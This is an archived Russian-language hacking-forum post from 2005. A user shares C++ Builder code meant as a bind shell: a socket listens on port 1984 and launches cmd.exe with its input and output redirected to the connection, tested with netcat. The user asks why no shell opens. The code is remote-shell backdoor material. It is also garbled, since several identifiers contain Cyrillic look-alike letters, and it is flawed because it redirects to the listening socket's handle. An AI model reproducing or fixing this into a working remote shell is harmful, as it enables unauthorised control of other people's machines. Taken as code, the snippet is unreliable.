Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

#79 - шелл

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Журнал Xakep] >> #79 - шелл
Имя
Сообщение << Старые топики   Новые топики >>
#79 - шелл - 2005-09-21 00:51:05   
coersion

Сообщений: 3
Оценки: 0
Присоединился: 2005-02-28 02:38:59
Код на C++ Builder (на форме компонент ServerSocket):

//—————————————————————————
void __fastcall TForm1::ServerSocket1Accept(TоЬjесt *Sender,
TCustomWinSocket *Socket)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPCTSTR lpMsgBuf;

ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.wShowwindоw = SW_SHOW;
si.dwFlags = STARTF_USESHOWwindоw | STARTF_USESTDHANDLES;
si.hStdInput = ServerSocket1->Socket->Handle;
si.hStdOutput = ServerSocket1->Socket->Handle;
si.hStdError = ServerSocket1->Socket->Handle;
// запускаем ''cmd.exe'' с перенаправлением ввода/вывода
if (NULL == CreateProcess(NULL, "cmd.exe", NULL, NULL, true, NULL, NULL, NULL, &si, &pi))
{
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL);
// Display the string.
MessageЬох(NULL, lpMsgBuf, NULL, MB_OK | MB_ICONINFORMATION);
}
else
{
ShowMessage("OK");
}
CloseHandle(ServerSocket1->Socket->Handle);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

}
//—————————————————————————

void __fastcall TForm1::Button1Click(TоЬjесt *Sender)
{
ServerSocket1->Port = 1984;
ServerSocket1->Active = true;
}
//—————————————————————————

При соединении: nc 127.0.0.1 1984
шелл не открывается, соединение не разрывается,
программа выдает сообщение "ОК", что свидетельствует
об успешном завершении функции CreateProcess.

Что не так?
Post #: 1
Страниц:  [1]
Все форумы >> [Журнал Xakep] >> #79 - шелл







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.